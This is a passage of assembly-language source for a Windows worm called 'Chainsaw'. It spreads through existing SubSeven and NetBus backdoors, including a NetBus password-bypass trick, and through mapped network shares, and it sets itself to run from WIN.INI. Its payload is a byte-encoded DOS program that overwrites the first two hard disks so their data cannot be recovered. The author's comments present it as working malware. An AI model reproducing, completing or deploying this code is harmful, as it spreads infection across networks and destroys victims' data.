|
|
|
DEC EAX ; Zero sockets connected?
|
|
JZ Close_NetBios
|
|
|
|
PUSH OFFSET Boole_False ; Switch sockets back to
|
|
PUSH FIONBIO ; blocking mode.
|
|
PUSH Sub7_Socket
|
|
CALL ioctlsocket
|
|
|
|
PUSH OFFSET Boole_False
|
|
PUSH FIONBIO
|
|
PUSH NetBus_Socket
|
|
CALL ioctlsocket
|
|
|
|
MOV EBX, Sub7_Socket ; Set send/recv timeout on
|
|
CALL Set_Time_Outs ; sockets to prevent endless
|
|
; blocking.
|
|
MOV EBX, NetBus_Socket
|
|
CALL Set_Time_Outs
|
|
|
|
MOV EDI, OFFSET Buffer ; recv-buffer.
|
|
|
|
Try_Sub7: PUSH 0 ; Attempt to get SubSeven
|
|
PUSH 512 ; connection reply.
|
|
PUSH EDI
|
|
PUSH Sub7_Socket
|
|
CALL recv
|
|
|
|
INC EAX ; Not connected?
|
|
JZ Try_NetBus
|
|
|
|
; If it's a SubSeven server, and not password
|
|
; protected, it should reply with 'connected',
|
|
; and the time/date and version.
|
|
|
|
CMP [EDI], 'nnoc' ; If we can't access the Sub7
|
|
JNE Try_NetBus ; server, move on to NetBus.
|
|
|
|
; First request a file upload by sending
|
|
; 'RTF' with the upload path connected to
|
|
; it: 'RTFChainsaw.exe'.
|
|
|
|
PUSH 0
|
|
PUSH (End_S7_Upload_Req-S7_Upload_Req)
|
|
PUSH OFFSET S7_Upload_Req
|
|
PUSH Sub7_Socket
|
|
CALL send
|
|
|
|
INC EAX
|
|
JZ Try_NetBus
|
|
|
|
PUSH 0 ; Fetch the reply, it should
|
|
PUSH 512 ; be 'TID' if all is OK.
|
|
PUSH EDI
|
|
PUSH Sub7_Socket
|
|
CALL recv
|
|
|
|
INC EAX
|
|
JZ Try_NetBus
|
|
|
|
CMP [EDI], 'nDIT' ; Check for 'TID' (plus last
|
|
JNE Try_NetBus ; byte of previous recv).
|
|
|
|
; First let the server know the filesize of the
|
|
; upload, this is done by sending a 'SFT' + the
|
|
; length of the filesize (represented by two
|
|
; numbers) + the actual filesize: 'SFT046144'.
|
|
|
|
PUSH 0
|
|
PUSH (End_S7_Upload_Size-S7_Upload_Size)
|
|
PUSH OFFSET S7_Upload_Size
|
|
PUSH Sub7_Socket
|
|
CALL send
|
|
|
|
INC EAX
|
|
JZ Try_NetBus
|
|
|
|
PUSH 0 ; Then send the actual file
|
|
PUSH Worm_Size ; contents.
|
|
PUSH OFFSET Worm_Code
|
|
PUSH Sub7_Socket
|
|
CALL send
|
|
|
|
INC EAX
|
|
JZ Try_NetBus
|
|
|
|
; SubSeven works with a 1041-byte receive buffer, every
|
|
; 1041 or less bytes received will be acknowledged with
|
|
; a 'p:' + the total amount of bytes received + '.'.
|
|
|
|
Retrieve_Ack: PUSH 0 ; Receive a 7-byte 'p:xxxx.'
|
|
PUSH 7 ; (don't read more than 7
|
|
PUSH EDI ; bytes as often the data is
|
|
PUSH Sub7_Socket ; overlapping).
|
|
CALL recv
|
|
|
|
INC EAX
|
|
JZ Try_NetBus
|
|
|
|
CMP [EDI+2], '4416' ; Last acknowledgement?
|
|
JNE Retrieve_Ack ; Otherwise just go on.
|
|
|
|
; Check upload reply, which should be 'file successfully uploaded.'
|
|
; if all went fine, (however it seems to return this regardless of
|
|
; success or failure..).
|
|
|
|
Check_UL_Reply: PUSH 0
|
|
PUSH 512
|
|
PUSH EDI
|
|
PUSH Sub7_Socket
|
|
CALL recv
|
|
|
|
INC EAX
|
|
JZ Try_NetBus
|
|
|
|
CMP [EDI+5], 'ccus' ; Check for 'success'.
|
|
JNE Try_NetBus ; Bail on error.
|
|
|
|
; Now remotely execute the uploaded worm copy by sending a
|
|
; 'FMX' + the path of the file to execute: 'FMXChainsaw.exe'.
|
|
; SubSeven uses ShellExecuteA to run files, so it is capable
|
|
; of opening any registered file extension such as .VBS etc.
|
|
|
|
PUSH 0
|
|
PUSH (End_S7_Exec_Req-S7_Exec_Req)
|
|
PUSH OFFSET S7_Exec_Req
|
|
PUSH Sub7_Socket
|
|
CALL send
|
|
|
|
INC EAX
|
|
JZ Try_NetBus
|
|
|
|
PUSH 0 ; Fetch the command reply,
|
|
PUSH 512 ; which should be
|
|
PUSH EDI ; 'file has been executed.'.
|
|
PUSH Sub7_Socket
|
|
CALL recv
|
|
|
|
Try_NetBus: PUSH 0 ; Fetch connection reply.
|
|
PUSH 512
|
|
PUSH EDI
|
|
PUSH NetBus_Socket
|
|
CALL recv
|
|
|
|
INC EAX
|
|
JZ Try_NetBios
|
|
|
|
; NetBus servers respond with 'NetBus', and
|
|
; the version, and if the server is password
|
|
; protected also with an 'x'.
|
|
|
|
CMP [EDI], 'BteN' ; Is it an actual NetBus
|
|
JNE Try_NetBios ; server?
|
|
|
|
; Server is password protected?
|
|
|
|
CMP BYTE PTR [EDI+EAX-3], 'x'
|
|
JNE Upload_Worm
|
|
|
|
; Now try one password, 'netbus' (should be commonly used
|
|
; I guess), together with a NetBus 1.60- backdoor function
|
|
; that accepts any password.
|
|
|
|
PUSH 0
|
|
PUSH (End_NB_Password-NB_Password)
|
|
PUSH OFFSET NB_Password
|
|
PUSH NetBus_Socket
|
|
CALL send
|
|
|
|
INC EAX
|
|
JZ Try_NetBios
|
|
|
|
PUSH 0 ; Get password reply.
|
|
PUSH 512
|
|
PUSH EDI
|
|
PUSH NetBus_Socket
|
|
CALL recv
|
|
|
|
INC EAX
|
|
JZ Try_NetBios
|
|
|
|
; If the password got accepted then it
|
|
; should return 'Access;1'.
|
|
|
|
CMP [EDI+4], '1;ss' ; 'Access;1' ?
|
|
JNE Try_NetBios
|
|
|
|
; Request a file upload by sending 'UploadFile;'
|
|
; + filename + ';' + filesize + ';' + upload path:
|
|
; 'UploadFile;Chainsaw.exe;6144;\'.
|
|
|
|
Upload_Worm: PUSH 0
|
|
PUSH (End_NB_Upload_Req-NB_Upload_Req)
|
|
PUSH OFFSET NB_Upload_Req
|
|
PUSH NetBus_Socket
|
|
CALL send
|
|
|
|
INC EAX
|
|
JZ Try_NetBios
|
|
|
|
PUSH 0 ; Fetch upload reply which
|
|
PUSH 512 ; should be 'UploadReady'.
|
|
PUSH EDI
|
|
PUSH NetBus_Socket
|
|
CALL recv
|
|
|
|
INC EAX
|
|
JZ Try_NetBios
|
|
|
|
CMP [EDI+4], 'eRda' ; 'UploadReady' ?
|
|
JNE Try_NetBios
|
|
|
|
; Now connect to port number <NetBus_Port+1>,
|
|
; which will handle the upload file content.
|
|
|
|
PUSH 0 ; Create a socket for the
|
|
PUSH SOCK_STREAM ; upload connection.
|
|
PUSH AF_INET
|
|
CALL socket
|
|
|
|
MOV NetBus_Socket_2, EAX
|
|
|
|
INC EAX
|
|
JZ Try_NetBios
|
|
|
|
MOV EBX, NetBus_Socket_2
|
|
CALL Set_Time_Outs
|
|
|
|
PUSH 16 ; Connect the upload socket.
|
|
PUSH OFFSET NetBus_Conn_2
|
|
PUSH NetBus_Socket_2
|
|
CALL connect
|
|
|
|
XCHG EBX, EAX
|
|
|
|
OR EBX, EBX
|
|
JNZ Close_NetBus_2
|
|
|
|
PUSH 0 ; Send through the upload
|
|
PUSH Worm_Size ; file contents.
|
|
PUSH OFFSET Worm_Code
|
|
PUSH NetBus_Socket_2
|
|
CALL send
|
|
|
|
XCHG EBX, EAX
|
|
|
|
Close_NetBus_2: PUSH NetBus_Socket_2
|
|
CALL closesocket
|
|
|
|
INC EBX
|
|
JZ Close_NetBios
|
|
|
|
; Now remotely execute the worm on the target's
|
|
; system by sending 'StartApp;' + path to program:
|
|
; 'StartApp;\Chainsaw.exe'.
|
|
|
|
PUSH 0
|
|
PUSH (End_NB_Exec_File-NB_Exec_File)
|
|
PUSH OFFSET NB_Exec_File
|
|
PUSH NetBus_Socket
|
|
CALL send
|
|
|
|
Try_NetBios: MOV ESI, OFFSET Net_Resource_Struc
|
|
MOV EDI, OFFSET Net_Resource
|
|
|
|
MOV ECX, 8
|
|
REP MOVSD
|
|
|
|
CALL Locate_Shares ; Infect all shared drives.
|
|
|
|
Close_NetBios: PUSH NetBios_Socket
|
|
CALL closesocket
|
|
|
|
Close_NetBus: PUSH NetBus_Socket
|
|
CALL closesocket
|
|
|
|
Close_Sub7: PUSH Sub7_Socket
|
|
CALL closesocket
|
|
|
|
JMP Chk_Inet_State
|
|
|
|
|
|
; Set the recv/send timeout to 5 seconds to prevent endless blocking.
|
|
Set_Time_Outs:
|
|
PUSH 4
|
|
PUSH OFFSET IO_Time_Out
|
|
PUSH SO_RCVTIMEO
|
|
PUSH SOL_SOCKET
|
|
PUSH EBX
|
|
CALL setsockopt
|
|
|
|
PUSH 4
|
|
PUSH OFFSET IO_Time_Out
|
|
PUSH SO_SNDTIMEO
|
|
PUSH SOL_SOCKET
|
|
PUSH EBX
|
|
CALL setsockopt
|
|
|
|
RETN
|
|
|
|
|
|
Random_AL_254:
|
|
MOV AL, 254
|
|
|
|
Random_AL: MOVZX EAX, AL
|
|
|
|
Random_EAX: PUSH EAX
|
|
|
|
CALL GetTickCount
|
|
|
|
ADD EAX, Random_Init
|
|
JNP Xor_In_Init
|
|
|
|
RCL EAX, 2
|
|
XCHG AL, AH
|
|
ADD AL, 66h
|
|
|
|
Xor_In_Init: NOT EAX
|
|
|
|
PUSH 32
|
|
POP ECX
|
|
|
|
CRC_Bit: SHR EAX, 1
|
|
JNC Loop_CRC_Bit
|
|
|
|
XOR EAX, 0EDB88320h
|
|
|
|
Loop_CRC_Bit: LOOP CRC_Bit
|
|
|
|
POP ECX
|
|
|
|
XOR EDX, EDX
|
|
DIV ECX
|
|
|
|
XCHG EDX, EAX
|
|
INC EAX ; Can't be zero.
|
|
|
|
ROL Random_Init, 1 ; Adjust random seed.
|
|
|
|
RETN
|
|
|
|
|
|
; And I thought NetBus was a lame buggy piece of shit, nothing beats
|
|
; SubSeven, even though it's the one of the most advanched RAT's
|
|
; available these days, it is programmed pretty badly, the author
|
|
; clearly has no understanding of TCP/IP whatsoever, he doesn't
|
|
; even terminate his TCP commands with a terminator for example,
|
|
; which will lead to fragmented packets fucking up. Also, when you
|
|
; supply wrong commands to the server, it will downright hang itself.
|
|
; And as a bonus, SubSeven infected systems become slooow, not sure
|
|
; exactly why.. I'd say, leave writing RAT's to people who know
|
|
; their stuff, like the authors of Back Orifice 2000.
|
|
|
|
|
|
; Recursively scans the host's resources for shared drives.
|
|
Locate_Shares:
|
|
PUSHAD
|
|
|
|
PUSH OFFSET Enum_Handle ; Start enumerating all
|
|
PUSH OFFSET Net_Resource ; shared drives.
|
|
PUSH 0
|
|
PUSH RESOURCETYPE_DISK
|
|
PUSH RESOURCE_GLOBALNET
|
|
CALL WNetOpenEnumA
|
|
|
|
OR EAX, EAX
|
|
JNZ Exit_Loc_Share
|
|
|
|
MOV EBX, Enum_Handle
|
|
|
|
Enum_Resource: MOV Net_Struc_Count, 1
|
|
|
|
PUSH OFFSET Enum_Buf_Size ; Find shared drive.
|
|
PUSH OFFSET Net_Resource
|
|
PUSH OFFSET Net_Struc_Count
|
|
PUSH EBX
|
|
CALL WNetEnumResourceA
|
|
|
|
OR EAX, EAX
|
|
JNZ Close_Enum
|
|
|
|
CMP Net_Usage, RESOURCEUSAGE_CONTAINER
|
|
JNE Infect_Share
|
|
|
|
CALL Locate_Shares
|
|
|
|
JMP Enum_Resource
|
|
|
|
Infect_Share: MOV Net_Local_Name, OFFSET Remote_Drive
|
|
|
|
PUSH 0 ; Map the shared drive to
|
|
PUSH 0 ; 'T:'.
|
|
PUSH 0
|
|
PUSH OFFSET Net_Resource
|
|
CALL WNetAddConnection2A
|
|
|
|
OR EAX, EAX
|
|
JNZ Enum_Resource
|
|
|
|
PUSH 1 ; Copy Chainsaw.exe to the
|
|
PUSH OFFSET Remote_Trojan ; root of this shared drive.
|
|
PUSH OFFSET Own_Path
|
|
CALL CopyFileA
|
|
|
|
XCHG ECX, EAX
|
|
JECXZ Un_Map_Share
|
|
|
|
PUSH OFFSET MsDos_Sys ; Attempt to get the Win9x
|
|
PUSH 260 ; directory.
|
|
PUSH OFFSET Win_Dir
|
|
PUSH OFFSET Default_String
|
|
PUSH OFFSET Win_Dir_Key
|
|
PUSH OFFSET Paths_Section
|
|
CALL GetPrivateProfileStringA
|
|
|
|
XCHG ECX, EAX
|
|
JECXZ Un_Map_Share
|
|
|
|
LEA EDI, [Win_Dir+ECX] ; Append '\WIN.INI' to it.
|
|
MOV ESI, OFFSET Slash_Win_Ini
|
|
MOV ECX, 9
|
|
REP MOVSB
|
|
|
|
PUSH OFFSET Win_Dir ; Add 'run=\Chainsaw.exe' to
|
|
PUSH OFFSET Root_Dropper ; Win9x's WIN.INI.
|
|
PUSH OFFSET Win_Ini_Run_Key
|
|
PUSH OFFSET Windows_Section
|
|
CALL WritePrivateProfileStringA
|
|
|
|
XCHG ECX, EAX
|
|
JECXZ Un_Map_Share
|
|
|
|
PUSH FILE_ATTRIBUTE_HIDDEN ; Hide the drop file.
|
|
PUSH OFFSET Remote_Trojan
|
|
CALL SetFileAttributesA
|
|
|
|
Un_Map_Share: PUSH 0 ; Unmap shared drive.
|
|
PUSH 0
|
|
PUSH OFFSET Remote_Drive
|
|
CALL WNetCancelConnection2A
|
|
|
|
JMP Enum_Resource
|
|
|
|
Close_Enum: PUSH EBX
|
|
CALL WNetCloseEnum
|
|
|
|
Exit_Loc_Share: POPAD
|
|
|
|
RETN
|
|
|
|
|
|
; Ima go woop yo ass boy!
|
|
Payload:
|
|
PUSH 0
|
|
PUSH 0
|
|
PUSH CREATE_ALWAYS
|
|
PUSH 0
|
|
PUSH 0
|
|
PUSH GENERIC_WRITE
|
|
PUSH OFFSET Nuke_File
|
|
CALL CreateFileA
|
|
|
|
XCHG EBX, EAX
|
|
|
|
PUSH 0 ; Write bomb.
|
|
PUSH OFFSET Temp
|
|
PUSH 666
|
|
PUSH OFFSET DOS_Bomb
|
|
PUSH EBX
|
|
CALL WriteFile
|
|
|
|
PUSH EBX
|
|
CALL CloseHandle
|
|
|
|
PUSH 0 ; Run the bomb (only WinExec
|
|
PUSH OFFSET Nuke_File ; is capable of running DOS
|
|
CALL WinExec ; files too).
|
|
|
|
JMP $ ; Heart stops..
|
|
|
|
|
|
; Bomb in DOS COM-format, this way it works both on 95/98 and NT/2K.
|
|
; Smashes disk structures of 1st 2 fixed disks, should be fast and
|
|
; unrecoverable.
|
|
|
|
; .MODEL TINY
|
|
; .CODE
|
|
;
|
|
; ORG 100h
|
|
;START:
|
|
; MOV AX, 3513h ; Grab INT 13h's address.
|
|
; INT 21h
|
|
;
|
|
; MOV Int13h, BX ; Store it for later.
|
|
; MOV Int13h+2, ES
|
|
;
|
|
; PUSH CS
|
|
; POP ES
|
|
;
|
|
; XOR SI, SI
|
|
;
|
|
; MOV BX, OFFSET Trash_Text
|
|
; MOV CX, (End_Trash_Text-Trash_Text)
|
|
;
|
|
; ; Decrypt trash text.
|
|
;
|
|
;Decrypt_Text: XOR BYTE PTR [BX+SI], 66h
|
|
;
|
|
; INC SI
|
|
;
|
|
; LOOP Decrypt_Text
|
|
;
|
|
; INC CX ; CX = 0001h.
|
|
;
|
|
; MOV DX, 80h+1 ; Start trashing backwards
|
|
; ; from 2nd HDD.
|
|
;
|
|
;Kill_Head: MOV AX, 0302h ; Smash 2 sectors of track
|
|
; PUSHF ; 0 with our text.
|
|
; DB 9Ah
|
|
;Int13h DW 0, 0
|
|
;
|
|
; INC DH ; Smashed all heads?
|
|
; JNZ Kill_Head
|
|
;
|
|
; DEC DL ; Smashed all HDD's ?
|
|
; JS Kill_Head
|
|
;
|
|
;Exit: RETN ; Back to Windoze..
|
|
;
|
|
; DB 'T2' ; To pad this file to 666.
|
|
;
|
|
; ; XOR 66h encrypted:
|
|
;
|
|
; ; "THE FILM WHICH YOU ARE ABOUT TO SEE IS AN ACCOUNT OF THE
|
|
; ; TRAGEDY WHICH BEFELL A GROUP OF FIVE YOUTHS. IN PARTICULAR
|
|
; ; SALLY HARDESTY AND HER INVALID BROTHER FRANKLIN. IT IS ALL
|
|
; ; THE MORE TRAGIC IN THAT THEY WERE YOUNG. BUT, HAD THEY
|
|
; ; LIVED VERY, VERY LONG LIVES, THEY COULD NOT HAVE EXPECTED
|
|
; ; NOR WOULD THEY HAVE WISHED TO SEE AS MUCH OF THE MAD AND
|
|
; ; MACABRE AS THEY WERE TO SEE THAT DAY. FOR THEM AN IDYLLIC
|
|
; ; SUMMER AFTERNOON DRIVE BECAME A NIGHTMARE. THE EVENTS OF
|
|
; ; THAT DAY WERE TO LEAD TO THE DISCOVERY OF ONE OF THE MOST
|
|
; ; BIZARRE CRIMES IN THE ANNALS OF AMERICAN HISTORY,
|
|
; ; THE TEXAS CHAIN SAW MASSACRE..."
|
|
;
|
|
; ; (I adore this movie :)
|
|
;
|
|
;Trash_Text: DB 44h, 32h, 2Eh, 23h, 46h, 20h, 2Fh, 2Ah, 2Bh, 46h
|
|
; DB 31h, 2Eh, 2Fh, 25h, 2Eh, 46h, 3Fh, 29h, 33h, 46h
|
|
; DB 27h, 34h, 23h, 46h, 27h, 24h, 29h, 33h, 32h, 46h
|
|
; DB 32h, 29h, 46h, 35h, 23h, 23h, 46h, 2Fh, 35h, 46h
|
|
; DB 27h, 28h, 46h, 27h, 25h, 25h, 29h, 33h, 28h, 32h
|
|
; DB 46h, 29h, 20h, 46h, 32h, 2Eh, 23h, 6Bh, 6Ch, 32h
|
|
; DB 34h, 27h, 21h, 23h, 22h, 3Fh, 46h, 31h, 2Eh, 2Fh
|
|
; DB 25h, 2Eh, 46h, 24h, 23h, 20h, 23h, 2Ah, 2Ah, 46h
|
|
; DB 27h, 46h, 21h, 34h, 29h, 33h, 36h, 46h, 29h, 20h
|
|
; DB 46h, 20h, 2Fh, 30h, 23h, 46h, 3Fh, 29h, 33h, 32h
|
|
; DB 2Eh, 35h, 48h, 46h, 2Fh, 28h, 46h, 36h, 27h, 34h
|
|
; DB 32h, 2Fh, 25h, 33h, 2Ah, 27h, 34h, 6Bh, 6Ch, 35h
|
|
; DB 27h, 2Ah, 2Ah, 3Fh, 46h, 2Eh, 27h, 34h, 22h, 23h
|
|
; DB 35h, 32h, 3Fh, 46h, 27h, 28h, 22h, 46h, 2Eh, 23h
|
|
; DB 34h, 46h, 2Fh, 28h, 30h, 27h, 2Ah, 2Fh, 22h, 46h
|
|
; DB 24h, 34h, 29h, 32h, 2Eh, 23h, 34h, 46h, 20h, 34h
|
|
; DB 27h, 28h, 2Dh, 2Ah, 2Fh, 28h, 48h, 46h, 2Fh, 32h
|
|
; DB 46h, 2Fh, 35h, 46h, 27h, 2Ah, 2Ah, 6Bh, 6Ch, 32h
|
|
; DB 2Eh, 23h, 46h, 2Bh, 29h, 34h, 23h, 46h, 32h, 34h
|
|
; DB 27h, 21h, 2Fh, 25h, 46h, 2Fh, 28h, 46h, 32h, 2Eh
|
|
; DB 27h, 32h, 46h, 32h, 2Eh, 23h, 3Fh, 46h, 31h, 23h
|
|
; DB 34h, 23h, 46h, 3Fh, 29h, 33h, 28h, 21h, 48h, 46h
|
|
; DB 24h, 33h, 32h, 4Ah, 46h, 2Eh, 27h, 22h, 46h, 32h
|
|
; DB 2Eh, 23h, 3Fh, 6Bh, 6Ch, 2Ah, 2Fh, 30h, 23h, 22h
|
|
; DB 46h, 30h, 23h, 34h, 3Fh, 4Ah, 46h, 30h, 23h, 34h
|
|
; DB 3Fh, 46h, 2Ah, 29h, 28h, 21h, 46h, 2Ah, 2Fh, 30h
|
|
; DB 23h, 35h, 4Ah, 46h, 32h, 2Eh, 23h, 3Fh, 46h, 25h
|
|
; DB 29h, 33h, 2Ah, 22h, 46h, 28h, 29h, 32h, 46h, 2Eh
|
|
; DB 27h, 30h, 23h, 46h, 23h, 3Eh, 36h, 23h, 25h, 32h
|
|
; DB 23h, 22h, 6Bh, 6Ch, 28h, 29h, 34h, 46h, 31h, 29h
|
|
; DB 33h, 2Ah, 22h, 46h, 32h, 2Eh, 23h, 3Fh, 46h, 2Eh
|
|
; DB 27h, 30h, 23h, 46h, 31h, 2Fh, 35h, 2Eh, 23h, 22h
|
|
; DB 46h, 32h, 29h, 46h, 35h, 23h, 23h, 46h, 27h, 35h
|
|
; DB 46h, 2Bh, 33h, 25h, 2Eh, 46h, 29h, 20h, 46h, 32h
|
|
; DB 2Eh, 23h, 46h, 2Bh, 27h, 22h, 46h, 27h, 28h, 22h
|
|
; DB 6Bh, 6Ch, 2Bh, 27h, 25h, 27h, 24h, 34h, 23h, 46h
|
|
; DB 27h, 35h, 46h, 32h, 2Eh, 23h, 3Fh, 46h, 31h, 23h
|
|
; DB 34h, 23h, 46h, 32h, 29h, 46h, 35h, 23h, 23h, 46h
|
|
; DB 32h, 2Eh, 27h, 32h, 46h, 22h, 27h, 3Fh, 48h, 46h
|
|
; DB 20h, 29h, 34h, 46h, 32h, 2Eh, 23h, 2Bh, 46h, 27h
|
|
; DB 28h, 46h, 2Fh, 22h, 3Fh, 2Ah, 2Ah, 2Fh, 25h, 6Bh
|
|
; DB 6Ch, 35h, 33h, 2Bh, 2Bh, 23h, 34h, 46h, 27h, 20h
|
|
; DB 32h, 23h, 34h, 28h, 29h, 29h, 28h, 46h, 22h, 34h
|
|
; DB 2Fh, 30h, 23h, 46h, 24h, 23h, 25h, 27h, 2Bh, 23h
|
|
; DB 46h, 27h, 46h, 28h, 2Fh, 21h, 2Eh, 32h, 2Bh, 27h
|
|
; DB 34h, 23h, 48h, 46h, 32h, 2Eh, 23h, 46h, 23h, 30h
|
|
; DB 23h, 28h, 32h, 35h, 46h, 29h, 20h, 6Bh, 6Ch, 32h
|
|
; DB 2Eh, 27h, 32h, 46h, 22h, 27h, 3Fh, 46h, 31h, 23h
|
|
; DB 34h, 23h, 46h, 32h, 29h, 46h, 2Ah, 23h, 27h, 22h
|
|
; DB 46h, 32h, 29h, 46h, 32h, 2Eh, 23h, 46h, 22h, 2Fh
|
|
; DB 35h, 25h, 29h, 30h, 23h, 34h, 3Fh, 46h, 29h, 20h
|
|
; DB 46h, 29h, 28h, 23h, 46h, 29h, 20h, 46h, 32h, 2Eh
|
|
; DB 23h, 46h, 2Bh, 29h, 35h, 32h, 6Bh, 6Ch, 24h, 2Fh
|
|
; DB 3Ch, 27h, 34h, 34h, 23h, 46h, 25h, 34h, 2Fh, 2Bh
|
|
; DB 23h, 35h, 46h, 2Fh, 28h, 46h, 32h, 2Eh, 23h, 46h
|
|
; DB 27h, 28h, 28h, 27h, 2Ah, 35h, 46h, 29h, 20h, 46h
|
|
; DB 27h, 2Bh, 23h, 34h, 2Fh, 25h, 27h, 28h, 46h, 2Eh
|
|
; DB 2Fh, 35h, 32h, 29h, 34h, 3Fh, 4Ah, 6Bh, 6Ch, 32h
|
|
; DB 2Eh, 23h, 46h, 32h, 23h, 3Eh, 27h, 35h, 46h, 25h
|
|
; DB 2Eh, 27h, 2Fh, 28h, 46h, 35h, 27h, 31h, 46h, 2Bh
|
|
; DB 27h, 35h, 35h, 27h, 25h, 34h, 23h, 48h, 48h, 48h
|
|
; DB 44h, 6Bh, 6Ch
|
|
;End_Trash_Text:
|
|
; END START
|
|
|
|
DOS_Bomb: DB 0B8h, 013h, 035h, 0CDh, 021h, 089h, 01Eh, 026h, 001h
|
|
DB 08Ch, 006h, 028h, 001h, 00Eh, 007h, 033h, 0F6h, 0BBh
|
|
DB 035h, 001h, 0B9h, 065h, 002h, 080h, 030h, 066h, 046h
|
|
DB 0E2h, 0FAh, 041h, 0BAh, 081h, 000h, 0B8h, 002h, 003h
|
|
DB 09Ch, 09Ah, 000h, 000h, 000h, 000h, 0FEh, 0C6h, 075h
|
|
DB 0F3h, 0FEh, 0CAh, 078h, 0EFh, 0C3h, 054h, 032h, 044h
|
|
DB 032h, 02Eh, 023h, 046h, 020h, 02Fh, 02Ah, 02Bh, 046h
|
|
DB 031h, 02Eh, 02Fh, 025h, 02Eh, 046h, 03Fh, 029h, 033h
|
|
DB 046h, 027h, 034h, 023h, 046h, 027h, 024h, 029h, 033h
|
|
DB 032h, 046h, 032h, 029h, 046h, 035h, 023h, 023h, 046h
|
|
DB 02Fh, 035h, 046h, 027h, 028h, 046h, 027h, 025h, 025h
|
|
DB 029h, 033h, 028h, 032h, 046h, 029h, 020h, 046h, 032h
|
|
DB 02Eh, 023h, 06Bh, 06Ch, 032h, 034h, 027h, 021h, 023h
|
|
DB 022h, 03Fh, 046h, 031h, 02Eh, 02Fh, 025h, 02Eh, 046h
|
|
DB 024h, 023h, 020h, 023h, 02Ah, 02Ah, 046h, 027h, 046h
|
|
DB 021h, 034h, 029h, 033h, 036h, 046h, 029h, 020h, 046h
|
|
DB 020h, 02Fh, 030h, 023h, 046h, 03Fh, 029h, 033h, 032h
|
|
DB 02Eh, 035h, 048h, 046h, 02Fh, 028h, 046h, 036h, 027h
|
|
DB 034h, 032h, 02Fh, 025h, 033h, 02Ah, 027h, 034h, 06Bh
|
|
DB 06Ch, 035h, 027h, 02Ah, 02Ah, 03Fh, 046h, 02Eh, 027h
|
|
DB 034h, 022h, 023h, 035h, 032h, 03Fh, 046h, 027h, 028h
|
|
DB 022h, 046h, 02Eh, 023h, 034h, 046h, 02Fh, 028h, 030h
|
|
DB 027h, 02Ah, 02Fh, 022h, 046h, 024h, 034h, 029h, 032h
|
|
DB 02Eh, 023h, 034h, 046h, 020h, 034h, 027h, 028h, 02Dh
|
|
DB 02Ah, 02Fh, 028h, 048h, 046h, 02Fh, 032h, 046h, 02Fh
|
|
DB 035h, 046h, 027h, 02Ah, 02Ah, 06Bh, 06Ch, 032h, 02Eh
|
|
DB 023h, 046h, 02Bh, 029h, 034h, 023h, 046h, 032h, 034h
|
|
DB 027h, 021h, 02Fh, 025h, 046h, 02Fh, 028h, 046h, 032h
|
|
DB 02Eh, 027h, 032h, 046h, 032h, 02Eh, 023h, 03Fh, 046h
|
|
DB 031h, 023h, 034h, 023h, 046h, 03Fh, 029h, 033h, 028h
|
|
DB 021h, 048h, 046h, 024h, 033h, 032h, 04Ah, 046h, 02Eh
|
|
DB 027h, 022h, 046h, 032h, 02Eh, 023h, 03Fh, 06Bh, 06Ch
|
|
DB 02Ah, 02Fh, 030h, 023h, 022h, 046h, 030h, 023h, 034h
|
|
DB 03Fh, 04Ah, 046h, 030h, 023h, 034h, 03Fh, 046h, 02Ah
|
|
DB 029h, 028h, 021h, 046h, 02Ah, 02Fh, 030h, 023h, 035h
|
|
DB 04Ah, 046h, 032h, 02Eh, 023h, 03Fh, 046h, 025h, 029h
|
|
DB 033h, 02Ah, 022h, 046h, 028h, 029h, 032h, 046h, 02Eh
|
|
DB 027h, 030h, 023h, 046h, 023h, 03Eh, 036h, 023h, 025h
|
|
DB 032h, 023h, 022h, 06Bh, 06Ch, 028h, 029h, 034h, 046h
|
|
DB 031h, 029h, 033h, 02Ah, 022h, 046h, 032h, 02Eh, 023h
|
|
DB 03Fh, 046h, 02Eh, 027h, 030h, 023h, 046h, 031h, 02Fh
|
|
DB 035h, 02Eh, 023h, 022h, 046h, 032h, 029h, 046h, 035h
|
|
DB 023h, 023h, 046h, 027h, 035h, 046h, 02Bh, 033h, 025h
|
|
DB 02Eh, 046h, 029h, 020h, 046h, 032h, 02Eh, 023h, 046h
|
|
DB 02Bh, 027h, 022h, 046h, 027h, 028h, 022h, 06Bh, 06Ch
|
|
DB 02Bh, 027h, 025h, 027h, 024h, 034h, 023h, 046h, 027h
|
|
DB 035h, 046h, 032h, 02Eh, 023h, 03Fh, 046h, 031h, 023h
|
|
DB 034h, 023h, 046h, 032h, 029h, 046h, 035h, 023h, 023h
|
|
DB 046h, 032h, 02Eh, 027h, 032h, 046h, 022h, 027h, 03Fh
|
|
DB 048h, 046h, 020h, 029h, 034h, 046h, 032h, 02Eh, 023h
|
|
DB 02Bh, 046h, 027h, 028h, 046h, 02Fh, 022h, 03Fh, 02Ah
|
|
DB 02Ah, 02Fh, 025h, 06Bh, 06Ch, 035h, 033h, 02Bh, 02Bh
|
|
DB 023h, 034h, 046h, 027h, 020h, 032h, 023h, 034h, 028h
|
|
DB 029h, 029h, 028h, 046h, 022h, 034h, 02Fh, 030h, 023h
|
|
DB 046h, 024h, 023h, 025h, 027h, 02Bh, 023h, 046h, 027h
|
|
DB 046h, 028h, 02Fh, 021h, 02Eh, 032h, 02Bh, 027h, 034h
|
|
DB 023h, 048h, 046h, 032h, 02Eh, 023h, 046h, 023h, 030h
|
|
DB 023h, 028h, 032h, 035h, 046h, 029h, 020h, 06Bh, 06Ch
|
|
DB 032h, 02Eh, 027h, 032h, 046h, 022h, 027h, 03Fh, 046h
|
|
DB 031h, 023h, 034h, 023h, 046h, 032h, 029h, 046h, 02Ah
|
|
DB 023h, 027h, 022h, 046h, 032h, 029h, 046h, 032h, 02Eh
|
|
DB 023h, 046h, 022h, 02Fh, 035h, 025h, 029h, 030h, 023h
|
|
DB 034h, 03Fh, 046h, 029h, 020h, 046h, 029h, 028h, 023h
|
|
DB 046h, 029h, 020h, 046h, 032h, 02Eh, 023h, 046h, 02Bh
|
|
DB 029h, 035h, 032h, 06Bh, 06Ch, 024h, 02Fh, 03Ch, 027h
|
|
DB 034h, 034h, 023h, 046h, 025h, 034h, 02Fh, 02Bh, 023h
|
|
DB 035h, 046h, 02Fh, 028h, 046h, 032h, 02Eh, 023h, 046h
|
|
DB 027h, 028h, 028h, 027h, 02Ah, 035h, 046h, 029h, 020h
|
|
DB 046h, 027h, 02Bh, 023h, 034h, 02Fh, 025h, 027h, 028h
|
|
DB 046h, 02Eh, 02Fh, 035h, 032h, 029h, 034h, 03Fh, 04Ah
|
|
DB 06Bh, 06Ch, 032h, 02Eh, 023h, 046h, 032h, 023h, 03Eh
|
|
